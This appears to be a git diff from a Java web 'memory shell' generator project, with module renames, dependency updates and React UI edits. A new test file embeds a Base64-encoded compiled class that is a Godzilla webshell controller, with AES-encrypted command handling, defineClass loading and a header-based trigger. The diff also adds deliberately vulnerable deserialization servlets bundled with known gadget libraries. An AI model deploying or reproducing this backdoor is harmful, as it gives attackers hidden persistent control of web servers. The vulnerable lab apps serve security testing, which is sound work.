a/common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java similarity index 100% rename from common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java rename to memshell-party-common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java new file mode 100644 index 00000000..cd4f7e91 --- /dev/null +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.util; + +import java.util.Base64;; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Paths; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +class ClassUtilsTest { + + @Test + @Disabled + void testBase64() throws IOException { + byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQBMgoAUgCfCACgCQA7AKEIAKIJADsAowoAUgCkBwClCgAHAJ8JADsApgoABwCnCQA7AKgKAAcAqQoAOwCqCQA7AKsIAKwKAK0ArgoAJACvCgAkALAKAK0AsQcAsgoArQCzCgAUALQKABQAtQoAJAC2BwC3CAC4CgAhALkIALoKACEAuwoAvAC9CgAjAL4IAL8HAMAHAHUHAMEHAMIIAMMKACEAxAgAxQgAxggAxwgAyAgAyQoAUgDKCADLCgDMAM0HAM4KAC8AzwoAzADQCgDMANELANIA0woAJADUCwDSANULANIA1goAOwDXCgA7ANgIANkLANoA2wcA3AoAIQDdCgA7AKQKADsA3gsA2gDfCADgCwDSAN8HAOEKAEIAnwcA4gcA4wcA5AoARgDlCgAjAOYLAOcA6AoAJADpCgDqAOsKACMAqQoAQgDsCgA7AO0KACQA7ggAVggA7wcA8AcA8QEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxvcmcvZXhhbXBsZS9zcHJpbmcvR29kemlsbGFDb250cm9sbGVySGFuZGxlcjsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABnBhcmVudAEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcAwgcAtwEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAZiYXNlNjQBABFMamF2YS9sYW5nL0NsYXNzOwEAB0VuY29kZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAR2YXI2AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAJbQgEABXZhbHVlAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAKRXhjZXB0aW9ucwEACWI2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEdmFyNAEAAVoHANwHAPIBAA1oYW5kbGVSZXF1ZXN0AQB/KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAAWYBAAFlAQAoTGphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uOwEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAARkYXRhAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwcA8wcA9AcA9QcA4QcA9gcAwQEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAHkdvZHppbGxhQ29udHJvbGxlckhhbmRsZXIuamF2YQwAWgBbAQAKVXNlci1BZ2VudAwAWABVAQAaU3ByaW5nX0dvZHppbGxhX0NvbnRyb2xsZXIMAFkAVQwAWgBhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAFYAVQwA9wD4DABXAFUMAPkA+gwAVABkDABUAFUBAANNRDUHAPsMAPwA/QwA/gD/DAEAAQEMAQIBAwEAFGphdmEvbWF0aC9CaWdJbnRlZ2VyDAEEAP8MAFoBBQwA+QEGDAEHAPoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAwBCAEJAQAKZ2V0RW5jb2RlcgwBCgELBwEMDAENAQ4MAQ8BEAEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAERARIBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBEwEUAQADQUVTBwDyDAD8ARUBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABaARYMARcBGAwBGQEaBwD0DAEbAGQMARwBHQwBHgEfDAEgAGQMAHoAewwAgACBAQAHcGF5bG9hZAcA8wwBIQEiAQAsb3JnL2V4YW1wbGUvc3ByaW5nL0dvZHppbGxhQ29udHJvbGxlckhhbmRsZXIMASMBJAwAfQB+DAElASYBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAFoBJwwBKAEpBwD1DAEqASsMASwBLQcBLgwBLwEwDAExAP8MAGwAbQwBLAEGAQAQM2M2ZTBiOGE5YzE1MjI0YQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEALm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL0NvbnRyb2xsZXIBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YS9sYW5nL1JlZmxlY3RpdmVPcGVyYXRpb25FeGNlcHRpb24BAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABihbQilbQgEACWdldEhlYWRlcgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0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"); + Files.write(Paths.get("xix.class"), bytes); + } +} \ No newline at end of file diff --git a/memshell/build.gradle b/memshell/build.gradle index 7f9e9bd5..b533fa7f 100644 --- a/memshell/build.gradle +++ b/memshell/build.gradle @@ -1,4 +1,5 @@ -group = 'com.reajason.javaweb' +group = 'io.github.reajason' +description = "Normal Java MemShell" version = rootProject.version diff --git a/settings.gradle b/settings.gradle index ebcd4e42..4aaf8b6b 100644 --- a/settings.gradle +++ b/settings.gradle @@ -2,18 +2,10 @@ plugins { id 'org.gradle.toolchains.foojay-resolver-convention' version '0.9.0' } -dependencyResolutionManagement { - repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS) - repositories { - mavenCentral() - maven { url 'https://jitpack.io' } - } -} - -rootProject.name = 'MemShellParty' +rootProject.name = 'memshell-party' -include 'bom' -include 'common' +include 'memshell-party-bom' +include 'memshell-party-common' include 'tools' include 'tools:godzilla' diff --git a/tools/ant-sword/build.gradle b/tools/ant-sword/build.gradle index 14e2dada..89c5ffe6 100644 --- a/tools/ant-sword/build.gradle +++ b/tools/ant-sword/build.gradle @@ -1,7 +1,3 @@ -plugins { - id "io.freefair.lombok" version "8.11" -} - group = 'com.reajason.javaweb.tools' version = rootProject.version @@ -14,7 +10,7 @@ java { } dependencies { - implementation project(":common") + implementation project(":memshell-party-common") implementation 'net.bytebuddy:byte-buddy' implementation 'javax.servlet:javax.servlet-api' diff --git a/tools/behinder/build.gradle b/tools/behinder/build.gradle index b66df4ac..3e0ef453 100644 --- a/tools/behinder/build.gradle +++ b/tools/behinder/build.gradle @@ -1,8 +1,4 @@ -plugins { - id "io.freefair.lombok" version "8.11" -} - -group = 'com.reajason.javaweb.tools' +group = 'io.github.reajason.tools' version = rootProject.version java { @@ -15,7 +11,7 @@ java { dependencies { - implementation project(":common") + implementation project(":memshell-party-common") implementation 'net.bytebuddy:byte-buddy' implementation 'commons-io:commons-io' diff --git a/tools/behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java b/tools/behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java index b1e66577..fd0b0e8b 100644 --- a/tools/behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java +++ b/tools/behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java @@ -41,9 +41,8 @@ private static String getRandomStringInternal(int length) { public static String getRandomClassName() { String[] domainAs = new String[]{"com", "net", "org", "sun"}; - String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); - String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); - String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); + String domainB = getRandomAlpha((new Random()).nextInt(5) + 3); + String domainC = getRandomAlpha((new Random()).nextInt(5) + 3); String className = getRandomAlpha((new Random()).nextInt(7) + 4); className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase(); int domainAIndex = (new Random()).nextInt(4); diff --git a/tools/godzilla/build.gradle b/tools/godzilla/build.gradle index 5bbd8ec1..4d1c8b56 100644 --- a/tools/godzilla/build.gradle +++ b/tools/godzilla/build.gradle @@ -1,9 +1,4 @@ -plugins { - id "io.freefair.lombok" version "8.11" -} - - -group = 'com.reajason.javaweb.tools' +group = 'io.github.reajason.tools' version = rootProject.version java { @@ -13,7 +8,7 @@ java { dependencies { - implementation project(":common") + implementation project(":memshell-party-common") implementation 'net.bytebuddy:byte-buddy' diff --git a/tools/suo5/build.gradle b/tools/suo5/build.gradle index 5bbd8ec1..4d1c8b56 100644 --- a/tools/suo5/build.gradle +++ b/tools/suo5/build.gradle @@ -1,9 +1,4 @@ -plugins { - id "io.freefair.lombok" version "8.11" -} - - -group = 'com.reajason.javaweb.tools' +group = 'io.github.reajason.tools' version = rootProject.version java { @@ -13,7 +8,7 @@ java { dependencies { - implementation project(":common") + implementation project(":memshell-party-common") implementation 'net.bytebuddy:byte-buddy' diff --git a/vul/vul-springboot1/build.gradle b/vul/vul-springboot1/build.gradle index 29257cfc..7c09bf7a 100644 --- a/vul/vul-springboot1/build.gradle +++ b/vul/vul-springboot1/build.gradle @@ -8,6 +8,10 @@ java { sourceCompatibility = JavaVersion.VERSION_1_8 } +repositories { + mavenCentral() +} + configurations { providedRuntime } diff --git a/vul/vul-springboot2/build.gradle b/vul/vul-springboot2/build.gradle index ef477fa6..297381d1 100644 --- a/vul/vul-springboot2/build.gradle +++ b/vul/vul-springboot2/build.gradle @@ -9,6 +9,10 @@ java { sourceCompatibility = JavaVersion.VERSION_1_8 } +repositories { + mavenCentral() +} + dependencies { implementation 'org.springframework.boot:spring-boot-starter-web' implementation 'commons-io:commons-io:2.+' diff --git a/vul/vul-webapp-deserialize/build.gradle b/vul/vul-webapp-deserialize/build.gradle index 9a0b3571..1cbc63a2 100644 --- a/vul/vul-webapp-deserialize/build.gradle +++ b/vul/vul-webapp-deserialize/build.gradle @@ -16,6 +16,8 @@ configurations { cb183 cb170 cb161 + cc321 + cc40 } dependencies { @@ -24,6 +26,8 @@ dependencies { cb183 'commons-beanutils:commons-beanutils:1.8.3' cb170 'commons-beanutils:commons-beanutils:1.7.0' cb161 'commons-beanutils:commons-beanutils:1.6.1' + cc321 'commons-collections:commons-collections:3.2.1' + cc40 'org.apache.commons:commons-collections4:4.0' implementation 'com.caucho:hessian:4.0.66' providedCompile 'javax.servlet:javax.servlet-api:3.1.0' @@ -40,6 +44,8 @@ war { copy { from configurations.cb183 into "src/main/webapp/WEB-INF/dep" } copy { from configurations.cb170 into "src/main/webapp/WEB-INF/dep" } copy { from configurations.cb161 into "src/main/webapp/WEB-INF/dep" } + copy { from configurations.cc321 into "src/main/webapp/WEB-INF/dep" } + copy { from configurations.cc40 into "src/main/webapp/WEB-INF/dep" } } } diff --git a/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC321jServlet.java b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC321jServlet.java new file mode 100644 index 00000000..b4ba1a67 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC321jServlet.java @@ -0,0 +1,17 @@ +import javax.servlet.annotation.WebServlet; +import java.util.Collections; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@WebServlet("/java_deserialize/cc321") +public class JavaReadObjCC321jServlet extends BaseDeserializeServlet { + + @Override + List getDependentPaths() { + return Collections.singletonList("commons-collections-3.2.1.jar"); + } + +} diff --git a/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC40jServlet.java b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC40jServlet.java new file mode 100644 index 00000000..36ea4dfd --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC40jServlet.java @@ -0,0 +1,17 @@ +import javax.servlet.annotation.WebServlet; +import java.util.Collections; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@WebServlet("/java_deserialize/cc40") +public class JavaReadObjCC40jServlet extends BaseDeserializeServlet { + + @Override + List getDependentPaths() { + return Collections.singletonList("commons-collections4-4.0.jar"); + } + +} diff --git a/vul/vul-webapp/build.gradle b/vul/vul-webapp/build.gradle index 7647b036..613e2e74 100644 --- a/vul/vul-webapp/build.gradle +++ b/vul/vul-webapp/build.gradle @@ -12,6 +12,6 @@ java { dependencies { implementation 'commons-fileupload:commons-fileupload:1.3.3' - implementation 'commons-beanutils:commons-beanutils:1.9.4' + implementation 'commons-beanutils:commons-beanutils:1.9.2' providedCompile "javax.servlet:servlet-api:2.5" } diff --git a/web/bun.lockb b/web/bun.lockb index 0f676f38..3d3c8276 100755 Binary files a/web/bun.lockb and b/web/bun.lockb differ diff --git a/web/package.json b/web/package.json index fb299fb1..2aeae5c2 100644 --- a/web/package.json +++ b/web/package.json @@ -15,50 +15,72 @@ }, "devDependencies": { "@biomejs/biome": "1.9.4", - "@tanstack/router-plugin": "^1.114.30", - "@types/node": "^22.13.14", - "@types/react": "^19.0.12", + "@types/node": "^22.14.0", + "@types/react": "^19.1.0", "@types/react-copy-to-clipboard": "^5.0.7", - "@types/react-dom": "^19.0.4", + "@types/react-dom": "^19.1.1", "@types/react-syntax-highlighter": "^15.5.13", "@vitejs/plugin-react": "^4.3.4", "rimraf": "^6.0.1", - "tailwindcss": "^4.0.17", - "typescript": "^5.8.2", - "vite": "^6.2.3", + "tailwindcss": "^4.1.3", + "typescript": "^5.8.3", + "vite": "^6.2.5", "vite-bundle-visualizer": "^1.2.1" }, "dependencies": { - "@hookform/resolvers": "^4.1.3", + "@hookform/resolvers": "^5.0.1", + "@radix-ui/react-accordion": "^1.2.3", "@radix-ui/react-alert-dialog": "^1.1.6", + "@radix-ui/react-aspect-ratio": "^1.1.2", + "@radix-ui/react-avatar": "^1.1.3", "@radix-ui/react-checkbox": "^1.1.4", + "@radix-ui/react-collapsible": "^1.1.3", + "@radix-ui/react-context-menu": "^2.2.6", + "@radix-ui/react-dialog": "^1.1.6", "@radix-ui/react-dropdown-menu": "^2.1.6", + "@radix-ui/react-hover-card": "^1.1.6", "@radix-ui/react-label": "^2.1.2", + "@radix-ui/react-menubar": "^1.1.6", + "@radix-ui/react-navigation-menu": "^1.2.5", + "@radix-ui/react-popover": "^1.1.6", + "@radix-ui/react-progress": "^1.1.2", "@radix-ui/react-radio-group": "^1.2.3", + "@radix-ui/react-scroll-area": "^1.2.3", "@radix-ui/react-select": "^2.1.6", "@radix-ui/react-separator": "^1.1.2", + "@radix-ui/react-slider": "^1.2.3", "@radix-ui/react-slot": "^1.1.2", "@radix-ui/react-switch": "^1.1.3", "@radix-ui/react-tabs": "^1.1.3", + "@radix-ui/react-toggle": "^1.1.2", + "@radix-ui/react-toggle-group": "^1.1.2", "@radix-ui/react-tooltip": "^1.1.8", - "@tailwindcss/vite": "^4.0.17", - "@tanstack/react-query": "^5.70.0", - "@tanstack/react-router": "^1.114.29", - "@tanstack/router-devtools": "^1.114.29", + "@tailwindcss/vite": "^4.1.3", + "@tanstack/react-query": "^5.71.10", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", + "cmdk": "^1.1.1", + "date-fns": "^4.1.0", + "embla-carousel-react": "^8.6.0", "i18next": "^24.2.3", - "lucide-react": "^0.485.0", + "input-otp": "^1.4.2", + "lucide-react": "^0.487.0", "react": "^19.1.0", "react-copy-to-clipboard": "^5.1.0", + "react-day-picker": "9.6.4", "react-dom": "^19.1.0", "react-hook-form": "^7.55.0", "react-i18next": "^15.4.1", + "react-resizable-panels": "^2.1.7", + "react-router": "^7.5.0", + "react-router-dom": "^7.5.0", "react-syntax-highlighter": "^15.6.1", - "sonner": "^2.0.2", - "tailwind-merge": "^3.0.2", + "recharts": "^2.15.2", + "sonner": "^2.0.3", + "tailwind-merge": "^3.1.0", "tailwind-scrollbar": "^4.0.2", "tailwindcss-animate": "^1.0.7", + "vaul": "^1.1.2", "zod": "^3.24.2" }, "trustedDependencies": ["@biomejs/biome"] diff --git a/web/src/components/code-viewer.tsx b/web/src/components/code-viewer.tsx index 572329c9..a9aab28d 100644 --- a/web/src/components/code-viewer.tsx +++ b/web/src/components/code-viewer.tsx @@ -1,4 +1,6 @@ -import { Button, type ButtonProps } from "@/components/ui/button"; +import { Button, buttonVariants } from "@/components/ui/button"; +import { cn } from "@/lib/utils"; +import { VariantProps } from "class-variance-authority"; import { Check, Copy } from "lucide-react"; import { type HTMLProps, type ReactNode, useCallback, useEffect, useState } from "react"; import { CopyToClipboard } from "react-copy-to-clipboard"; @@ -7,12 +9,12 @@ import { Prism as SyntaxHighlighter } from "react-syntax-highlighter"; import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism"; import { toast } from "sonner"; -interface CopyButtonProps extends ButtonProps { +interface CopyButtonProps extends React.ComponentProps<"button"> { value: string; src?: string; } -export function CopyButton({ value }: Readonly) { +export function CopyButton({ value }: Readonly>) { const [hasCopied, setHasCopied] = useState(false); const { t } = useTranslation(); @@ -50,27 +52,24 @@ export function CopyButton({ value }: Readonly) { export function CodeViewer({ code, header, + button, language, height, showLineNumbers = true, wrapLongLines = true, -}: CodeViewerProps) { +}: Readonly) { const lineProps: lineTagPropsFunction | HTMLProps | undefined = wrapLongLines ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } } : undefined; return (
- {header && ( -
- {header} +
+ {header} +
+ {button}
- )} - {!header && ( -
- -
- )} +
diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx index c5f6d245..166a2129 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/main-config-card.tsx @@ -19,7 +19,7 @@ import { WaypointsIcon, ZapIcon, } from "lucide-react"; -import { JSX, useState } from "react"; +import { JSX, useEffect, useState } from "react"; import { FormProvider, UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; import { AntSwordTabContent } from "./tools/antsword-tab"; @@ -65,20 +65,45 @@ export function MainConfigCard({ const shellTool = form.watch("shellTool"); const { t } = useTranslation(); + // 处理一下默认值 server 不刷新 shellType 的问题 + useEffect(() => { + if (mainConfig) { + const initialServer = form.getValues("server"); + if (initialServer && mainConfig[initialServer]) { + handleServerChange(initialServer); + } + } + }, [mainConfig, form]); + + // 处理一下 shellTypes 由于 server 或 shellTool 变更时无法正常为 form.shellType 赋值的问题 + useEffect(() => { + if (shellTypes.length > 0) { + form.setValue("shellType", shellTypes[0]); + } + }, [shellTypes, form]); + const handleServerChange = (value: string) => { if (mainConfig) { const newShellToolMap = mainConfig[value]; setShellToolMap(newShellToolMap); + const newShellTools = Object.keys(newShellToolMap); setShellTools([...newShellTools.map((tool) => tool as 